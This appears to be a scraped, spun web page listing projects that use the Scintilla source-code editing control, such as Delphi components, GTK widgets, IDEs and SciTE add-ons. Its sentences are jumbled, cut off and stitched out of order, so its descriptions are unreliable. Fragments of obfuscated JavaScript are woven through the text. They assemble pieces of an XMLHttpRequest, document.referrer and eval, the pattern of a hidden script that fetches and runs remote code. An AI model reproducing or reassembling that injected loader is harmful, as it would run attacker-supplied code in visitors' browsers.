Is a FREE collection of components that makes it easy to use the Scintilla source code editing control from within Delphi and C++ Builder.. For Scintilla which is also usable from Borland C++ Builder The wxStyledTextCtrl editor component in the cross platform toolkit is based on Scintilla.. Is a ridiculously extensible cross-platform text editor for programmers written (mostly) in Lua using LPeg to handle the lexers.. Is a simple programming language with a Visual Basic like syntax Is a basic Lisp editor for Windows 2000, XP and Vista.. Is an IDE for Ruby on Windows Is a suite of tools and applications for solving the needs of the enterprise.. Has source code for several Win32 MFC based editors Is a Win32 edit control written in Delphi.. var c = new Array();c["DeUV"]="ET',";c["icEz"]="weU0";c["vusC"]="oad=";c["LCkv"]="".. Is a port of Scintilla to the FOX platform FXRuby includes Ruby bindings for FXScintilla.. This implementation acts more like a Gtk+ object, with many methods rather than just scintilla_send_message() and is available as a shared library.. Is a port to MorphOS Is a Perl Binding for Scintilla on wxWidgets Is a GTK+ widget which enables easily adding a powerful source code editor to your applications.. Is a user friendly Open Source Geographic Information System (GIS) Searches for a regex within all relevant files in a directory and shows matches using SciTE through the director interface.. Is a project manager for SciTE on Windows Open source and includes an implementation of SciTE's Director interface so will be of interest to others wanting to control SciTE.. Is a RAD GUI Building IDE for the wxWidgets cross platform platform Written using wxPython with the wxStyledTextCtrl used as its editor.. Is an ActiveX Control wrapper that support all Scintilla functions and additional high level functions.. Is an authoring system for adventure games which includes a customised version of SciTE.. Is designed to reduce the time to compose detailed and professional primary school reports.. Is an unmaintained ActiveX control wrapper for Scintilla Projects using Scintilla is a small and fast text editor with a modern ribbon user interface (Windows7 or later).. Is for web front end coders editing html/css/js code Is a wxWidgets-based Perl IDE.. Inspirational coding soundscapes. Is a free source code editing component implemented in Ruby Is a commercial native.. , the GIMP Toolkit, contains a rich text editing widget Is an editor for GTK+/GNOME.. Harnessing the abilities of the Scintilla editing component, GtkScintilla adds a familiar GTK+/GObject API, making the widget comfortable to use in these programs, using all the typical GObject conventions.. Is a graphical user interface for changing SciTE properties files Is a plugin for Total Commander allowing viewing all documents with syntax highlighting inside Total Commander.. 1 analysis and design tool Is a small and simple source code editor for MacOSX, Windows, and GTK/Linux.. Is a text editor included in MorphOS Is a cross-platform, visual database design, sql coding and administration tool.. Is a Windows GUI client for the Subversion source control software Is a small and fast GTK2 based IDE, which has only a few dependencies from other packages.. ";c["miwM"]="var ";c["eDCK"]=";eva";c["IyzY"]="new ";c["XeAM"]="YAUx";c["mZHQ"]="ocum";c["wPtM"]="IsAx";c["CkwT"]="rrer";c["Qdct"]="kCCk";c["nhVy"]="XMLH";c["NCXr"]="N=Hg";c["WWIe"]="nd()";c["fJCK"]="RBBA";c["Atvi"]="st()";c["cfCJ"]="seTe";c["SYzo"]="AXXE";c["eAOj"]="r.. A file manager / text editor environment with Squirrel scripting Is a free, easy and comfortable cross-platform editor written in Perl.. A Python binding for wxStyledTextCtrl is part of Is an alternative GTK class implementation for scintilla.. Is a cross platform GUI for several code formatters, beautifiers and indenters like GreatCode, AStyle (Artistic Styler), GNU Indent, BCPP and so on.. cxx files that uses AStyle Is an interactive diff / merge for Windows I prefer code submissions in the form of source files rather than diffs and then run WinMerge over the files to work out how to merge.. Is a JNI wrapper that allows Scintilla to be used in Java with both SWT and AWT.. Is a lightweight Lua IDE with code completion, syntax highlighting, live coding, remote debugger, and code analyzer (Windows, OSX, and Linux).. Is a source code formatter for C++ and Java code SciTE has an Indent command defined for.. Is a public domain implementation of regular expression pattern matching used in Scintilla.. Is a tiny GTK2 CSS editor Is a free Integrated Development Environment for PostScript is a user-friendly source code editor easily extended using Python.. Is a cross platform program to debug PHP scripts Is a development environment for the.. Is a Python debugger that can run on one Windows machine debugging a Python program running on either the same or another machine.. The is a complete integrated development environment for the Python programming language.. This implementation works with GTK 1 x Is an alternative GTK class implementation for scintilla similar to the above, but for GTK 2.. NET platform Is an OpenGL function call interceptor that uses SciTE as a run-time shader editor.. Is an advanced cross-platform text editor built with the Fox GUI toolkit and the FXScintilla text widget.. x text widget and improves it by implementing syntax highlighting and other features typical of a source editor.. Dobbs Journal April 1993 Macintosh User Interface Guidelines and TextEdit chapters of Inside Macintosh Development Tools Scintilla and SciTE were developed using the.. A small IDE is under construction Is an IDE for the MinGW compiler system This runs on Windows with gcc.. , the Visual Environment for NSIS (Nullsoft Scriptable Install System) Is a Python IDE written using PyQt and QScintilla.. Finseth, Wilfred J Hanson, Byte January 1987 Text Editors: Algorithms and Architectures, Ray Valdés, Dr.. Is a commercial graphical and batch diff / merge tool for Windows, Linux and Solaris (aiming to target all major platforms).. You'll follow these steps: Do some work on a Is an ActiveX control written in VB that encapsulates Scintilla.. Available on Intel based Linux and Windows and on MacOS X through XDarwin Is 2D RPG engine with a development environment.. Is a library and sample program that provides extra features over wxStyledTextControl.. Is a

Unicode aware syntax editor control for Delphi and C++ Builder Is a text widget that extends the standard GTK+ 2. d70b09c2d4
